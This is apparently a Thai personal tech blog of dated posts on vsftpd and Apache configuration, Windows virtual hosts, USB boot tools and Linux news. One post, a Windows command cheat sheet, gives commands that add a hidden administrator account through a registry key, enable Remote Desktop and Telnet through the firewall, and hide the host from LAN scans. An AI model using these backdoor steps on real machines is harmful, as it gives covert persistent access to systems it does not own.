16 July 2011

Config vsFTP Customize

เขียน กันลืม บทความดีๆ ที่อยากเก็บไว้อ่านนะครับ^^

เจอปัญหาเลยเขียนไว้อ่าน!!!

การติดตั้ง VsFTP (แบบระบุตัวตน) + SSL
sudo apt-get install vsftpd

แก้ไฟล์
sudo nano /etc/vsftpd.conf


anonymous_enable=no //ทำให้ anonymous user ไม่สามารถใช้งานในระบบได้
local_enable=YES //จะทำให้ user ใน local zone (network วงเดียวกะ server) สามารถ FTP ได้
write_enable=YES //จะทำให้สามารถ upload file ไปที่ server ได้ด้วย
chroot_local_user=YES //จะเป็นการบังคับไม่ให้ผู้ใช้ออกนอกhome directory ของตนเองไปที่ directory ที่มีลำดับชั้นสูงกว่า ใช้ได้เฉพาะในกรณี ไม่ใช้ SSL+VsFTP นะครับ


แก้ปัญหาโดย


chroot_local_user=YES

chroot_list_file=/etc/vsftpd.chroot_list <== เอา comment ออกซะ

touch /etc/vsftpd.chroot_list
nano /etc/vsftpd.chroot_list แก้ไขเอา user ที่ต้องการขังเข้าไปไว้ในนี้



เหตุผล
             chroot_local_user=YES ใช้ได้ผลครับ แต่ใช้ได้เฉพาะกรณี connect เข้าไป server แบบ unsecure
คือ connect ผ่าน port 21 (ใช้ ethereal จับ username , password และ data ได้นะครับ)
 
   
             ถ้า connect ไปยัง FTP server แบบเข้ารหัส (ftp over ssh) โดยใช้ port 22 จะใช้option นี้ไม่
ได้ครับ ต้องทำ chroot environment

เพิ่มเติม
  1. port 21 เป็น control port ใช้รับ-ส่ง username , password กับ client
  2. port 20 เป็น data port ใช้รับ-ส่ง data กับเครื่อง client
  3. ใช้ port 21 กับ 20 ก็ต่อเมื่อ server เราเป็น ftp server แบบ active ftp ซึ่ง ftp server แบบนี้ในโลกเหลืออยู่ไม่มาก ทีไม่มีแมวที่ไหนใช้เพราะ ftp แบบนี้มีข้อเสียเพราะขั้นตอน establish data port จะเริ่มต้นจากทาง server จึงต้อง configre firewall 2 ฝั่ง คือ firewall ฝั่ง server ต้องทำการเปิด port 21 ส่วน firewall ฝั่ง client ต้องทำการเปิด high port ให้server connect เข้ามาได้ซึ่งเป็นการกระทำที่งี่เง่าเกินจะรับได้(แต่มหาวิทยาลัยก็ยังนิยม สอนว่าใช้ 2 port นี้)
  4. ในปัจจุบัน ftp server ส่วนมากเป็น ftp server แบบ passive ftp คือ ใช้ port 21 เป็น control port และ port > 1024 ที่สุ่มขึ้นมาทำเป็น data port โดยการ establish connection ทั้ง control port และ data port จะเริ่มที่ client จึงสะดวกกว่าเดิมมากเพราะการ configure firewall จะทำที่ฝั่ง server อย่างเดียว คือ เปิด port 21 ที่firewall ฝั่ง server อย่างเดียว(ส่วน high port ที่ฝั่ง server ไม่ต้องเปิด เพราะมันจะเห็น data port ที่client เรียกเข้ามาเป็น related port ซึ่งเป็น port ที่ต่อเนื่องจาก connection แรกจึง allow ให้ผ่านได้ ที่ทำงี้ได้เนื่องจาก firewall ในปัจจุบันเป็น statefull firewall)
*ปล. ถ้า ใช้เป็น sftp จะใช้แต่ port 22 เป็นทั้ง control port และ data port
  1. ตั้งแต่ทำงานมายังไม่เคยเห็นคนในที่ทำงานหรือพวกที่มีความรู้เรื่อง network ท่านใดเป็นปลื้มกับการใช้ftp เพียวๆเลยนะครับ ถ้าไม่จำเป็นต้องใช้จริงๆจะไม่ค่อยใช้กัน เพราะว่ามันสามารถใช้โปรแกรมดักเอา username , password , data ได้ ผมจึงไม่เคยใช้ ftp แบบธรรมดาครับ จึงเรียนมาเพื่อทราบ
*ปล. ขอเชิญชวนให้ใช้ ftp over ssh นะครับ เชื่อเถอะครับ ไม่โดน hack อาจจะยังไม่เห็นประโยชน์

อ้างอิงจาก http://ubuntuclub.com/node/234 ขอบคุณที่ให้ความรู้ดีๆๆ นะครับ

8 July 2011

How to Config Apache Customize on Linux

    อันนี้ note ไว้กันลืม ครับ
ถ้าเกิดตอนลง apache2  แล้วเกิดข้อความแจ้งเตือนขึ้นมาดังนี้
-----------------------------------
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName

วิธีแก้ไขคือ    1. ให้แก้ไขที่ /etc/host โดยใช้คำสั่ง vi /etc/hosts  แล้วให้ทำดังนี้


127.0.0.1    localhost
127.0.1.1    greanjub
ไปเป็น

127.0.0.1    localhost.local       localhost
127.0.1.1    greanjub.local       greanjub  (ตรงนี้เป็นชื่อเครื่องของเราเด้อ)



                  2. แก้ไขที่  vi /etc/apache2/httpd.conf แล้ว ปกติแล้ว ถ้าลงใหม่ๆ จะไม่มีข้อมูลอะไรเลยให้เพิ่ม 

            ServerName greanjub     (ตรงนี้เป็นชื่อเครื่องของเราเด้อ)

จากนั้นให้ทำการ restart apache2 โดยใช้คำสั่ง  /etc/init.d/apache2 restart  แค่นี้ก็จะไม่มีข้อความเตือนอีกแล้วครับ เรียบร้อยโรงเรียนไทยเลย ครับวัยล๊วน
-----------------------------------------------------------------------------------------------------------------------------------
-apache web server Hardening (เบื้องต้น)
                   group:: www-data, user:: www-data
                           /var/www   (default DecumentRoot)
                          /etc/apache2 (directory)
                                 conf.d  (sub-directory)
                                           charset  //file config กำหรดค่าตัวอักษรที่ใช้
                                     sercurity  //file config กำหนดค่า security
                                                             ตัวแปรที่สำคัญ
                                                            ServerTokens=Prod
                                                               ServerSignature = off
                                                            TracerEnable=off

                     mods-available (sub-directory) //Full modul
                     mods-enable (sub-directory) //modul บางส่วนของ apache2 $sudo a2enmod
                                           ถ้าต้องการ enable module ที่ต้องการ
                                  sudo a2enmod ____ <-(proxy cach)



                   site-available (sub-directory) //full site ถ้าต้องการเว็บอีกเว็บที่มากว่าเว็บเดิม ก็
                                                                         copy default ไปเป็นอีกชื่อหนึ่ง
                   site-enable    (sub-dircetory) // กรณีต้องการ สร้าง site เพิ่ม   $ sudo a2ensite
                                        ถ้าต้องการเปิด เว็บไซด์ ที่มากขึ้น
                                     sudo a2ensite ชื่อ------

  envvers    //file  กำหนดค่าตัวแปรระบบให้ apache
  magic
  apache2.conf    //file config
  httpd.conf    //file config แต่ ใน Ubuntu ไม่ใช่
// linux อื่นๆ ใช้ file นี้ file เดี๋ยวเก็บค่า config ทุกอย่าง
  ports.conf   // file config ใช้กำหนด port  number.

------------------------------------------------------------------------------------------------------
ถ้าต้องการ check PID
cat /var/run/apache2.pid
---------------------------------------------------------------------------------------------------------

หากต้องการ WebServer ของเรา ไม่ให้แสดง List Directory เมื่อ User เปิด index of ของเรา
ไปที่
nano /etc/apache2/site-available/default

...............................................
<Directory /var/www/>
                Options Indexes FollowSymLinks MultiViews (ให้ลบ Indexes  ทิ้งไปเด้อ)
                AllowOverride None
                Order allow,deny
                allow from all
</Directory>

...............
......ทำการ Save (Ctrl+O Enter) แล้ว Exit (Ctrl+X)   ทำการ Restart Apache โดย /etc/init.d/apache2 restart
--------------------------------------------------------------------------------------------------------

อยากตั้งค่าให้เว็บแสดงผลเป็นภาษาไทยโดย Auto แบบ UTF-8
ไปที่  nano /etc/apache2/conf.d/charset
ให้ เพิ่ม AddDefaultCharset UTF-8 ลงไป นะครับ^^
ทำการ Save (Ctrl+O Enter) แล้ว Exit (Ctrl+X)   ทำการ Restart Apache โดย /etc/init.d/apache2 restart
--------------------------------------------------------------------------------------------------------

การทำ Virtual Host ในเครื่อง windows นะครับ ^^

ทำความเข้าใจนิดหน่อย ว่าเป็นการทำ ให้ 1 IP มีหลาย Domain Name นะครับ

1.  เปิด C:\WINDOWS\system32\drivers\etc\hosts ใน Notepad โดยปกติ
        127.0.0.1   localhost
127.0.0.1 web.local (เพิ่มเข้าไปเท่าที่ต้องการเลยครับ)
127.0.0.1   web2.local
2. เปิด C:\AppServ\Apache2.2\conf\httpd.conf ทำการแก้ไขไฟล์โดย เอา # ออกครับ
#Virtual hosts
Include conf/extra/httpd-vhosts.conf

แล้วทำการ Save file
3.เปิด C:\AppServ\Apache2.2\conf\extra\httpd-vhosts.conf
------------------------------------------------------------------------
# You may use the command line option '-S' to verify your virtual host # configuration.
 

<Directory c:/AppServ/www>  
Order Deny,Allow  
Allow from all  
</Directory>  
<Directory d:/>  
Order Deny,Allow
Allow from all
</Directory>   
ถ้าเราไม่กำหนด ในข้างต้น เวลาเราเรียก ชื่อ Virtual host แล้วจะมีข้อความ ที่ Browser ครับ
Forbidden
You don't have permission to access /index.php on this server.



# Use name-based virtual hosting. 
#
  NameVirtualHost *:8088 (เปิด Port ที่ให้บริการครับ)  

# # VirtualHost example: 
# Almost any Apache directive may go into a VirtualHost container. 
# The first VirtualHost section is used for all requests that do not 
# match a ServerName or ServerAlias in any <VirtualHost> block. 
#
  <VirtualHost *:8088>
DocumentRoot c:/AppServ/www
ServerName localhost 
</VirtualHost>
<VirtualHost *:8088>
DocumentRoot c:/AppServ/www/21072011_5151001277
ServerName web.local (ชื่อ host URL)
</VirtualHost>
<VirtualHost *:8088>
DocumentRoot d:/21072011_5151001277
ServerName web1.local (ชื่อ host URL)
</VirtualHost>

จากกันให้ Save File

4. ให้ ทำการ Restart Service Apache  โดย จะ Restart คอมพิวเตอร์ก็ได้นะครับ อาจเสียเวลานิดหน่อย ถ้าไม่มีเวลาเพราะไม่มีนาฬิกาข้อมือใส่ก็ไม่เป็นไร ไปที่ Run แล้วพิมพ์ Cmd ให้พิมพ์
         C:/>net stop apach2.2
         C:/>net start apach2.2

5. น่าจะไม่มีปัญหาอะไร นะครับ น่าเกิดมันไม่ มี Error นะครับ   เรามาทดสอบโดยการเปิด Browser แล้วพิมพ์ ชื่อ Virtual host ที่ได้กำหนดไว้ นะครับ แค่นี้ก็เสร็จแล้วครับ สู้ๆๆ
----------------------------------------------------------------------------------------------

6 July 2011

Command Dos Windows Total jub

เนื่องจากกลัว ลืมแหละ อยากเขียนไว้เป็น กุดสะโลบาย ด้วยเลย note ไว้ครับ อิอิ
-------------------------------------------------------------------------------------------------------------
การเพิ่ม User (Username และ password)


reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v greanjub /t REG_DWORD /d 0 /f
net user greanjub hacker55 /add
net localgroup Administrators greanjub /add


หมายเรียก : greanjub  คือชื่อ Username ที่เพิ่ม , hacker55 เป็น password ที่ใช้ , REG_DWORD /d 0 เป็น การซ่อน User ไม่ใช้แสดงออกมาบนหน้าจอ เด้อครับ อิอิ
-------------------------------------------------------------------------------------------------------------

การ Set Enable บัญชี Administrator

net user administrator /active:yes

-------------------------------------------------------------------------------------------------------------

การ Enable Remote Desktop

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

-------------------------------------------------------------------------------------------------------------

Show list file shared on windows

net view \\ip-target\
-------------------------------------------------------------------------------------------------------------
การเปิด Telnet


sc config tlntsvr start= auto
netsh firewall set allowedprogram %windir%\system32\tlntsvr.exe iexplorer enable
sc start tlntsvr

-------------------------------------------------------------------------------------------------------------
ปิดการ tools scanning lan ขั้นแรก ง่าย

net config server /hidden:yes

-------------------------------------------------------------------------------------------------------------
test Route  (ปัจจุบัน จะใช้ tools ช่วยมากกว่า)

tracert ip-target

-------------------------------------------------------------------------------------------------------------
เปิด - ปิด Service  program

net start/stop  ตามด้วยชื่อ Service

-------------------------------------------------------------------------------------------------------------

Create usb boot install win7 and Linux

ถ้าพูดถึง เรื่องของการ Install OS ใหม่ ให้เครื่อง คอมพิวเตอร์เรา คนส่วนใหญ่ มักใช้แผ่นกันนะครับ
ผมก็ไม่เข้าใจเหมือนกัน สงสัยเป็น เพราะเค้าขายแผ่นกัน ละมั่งครับ ก็ไม่ขาย thumb drive install OS กัน น้อ 555+ ขำๆ นะครับ อย่างไปเครียดมาก

วันนี้เลยอยากเขียนไว้กันตัวเธอลืม เหมือนกัน นะ ....... จากที่ผมได้ถามเทพ google มานะครับ มีโปรแกรมง่ายๆ ที่จะทำให้ thumb drive ของเราๆ ท่านเป็นตัว Boot install OS ได้เนี้ย ไม่ว่าจะเป็น Linux หรือ Windows ก็ตามนะครับ โดยติดตั้งที่ Windows เด้อครับ
ทำ usb Boot Windows คือ Windows 7 USB DVD Download Tool ( XP,Vista, 7) ^^

ทำ usb Boot Linux คือ LiLi USB Creator (ต้องดู Linux Distro ที่ Support ด้วยนะครับ)

จากตอนนี้ที่ใช้อยู่ก็ใช้ได้ดีเลยครับ ผมใช้ Win7 64bit ครับ สบายเลย......^^

1 July 2011

20 Year old for Linux Operating System

ว่าไปแล้ว ระบบปฏิบัติการลีนุกส์ ในปัจจุบันก็เริ่มมีบทบาทมากขึ้น ไม่ว่าจะเป็นทาง Server และ Desktop ก็รอบรับ End User  ได้เป็นอย่างดีเลยทีเดียว (คนทำงาน Technical Support IT จะรู้จักมักคุ้นกันดีครับ ^^!) ไม่ว่าจะเป็น ทาง Redhat , Debian ,Ubuntu ,.... ฯลฯ และอีกมากมาย ถ้าเป็นทาง มือถือ (mobile)  เป็น ระบบปฏิบัติการ Android ที่น่าจับตามอง(คงเหนื่อยแหละ คนบ้าอะไร จับตามองอยู่ได้555+) นั้นแหละครับ และได้มีการประกวด การออกแบบเสื้อ ผู้ชนะเลิศก็คือ "Flying Penguin" 


และทางได้ทำเสื้อ T-Shirt ขายในงาน LinuxCon ที่จะจัดกันที่เมืองแวนคูเวอร์ ประเทศแคนาดาในระหว่างวันที่ 17-19 สิงหาคม นี้ด้วย (อยากได้มั่งเหมือนกันครับ....)




Credit : ubuntuclub.com/node/3178/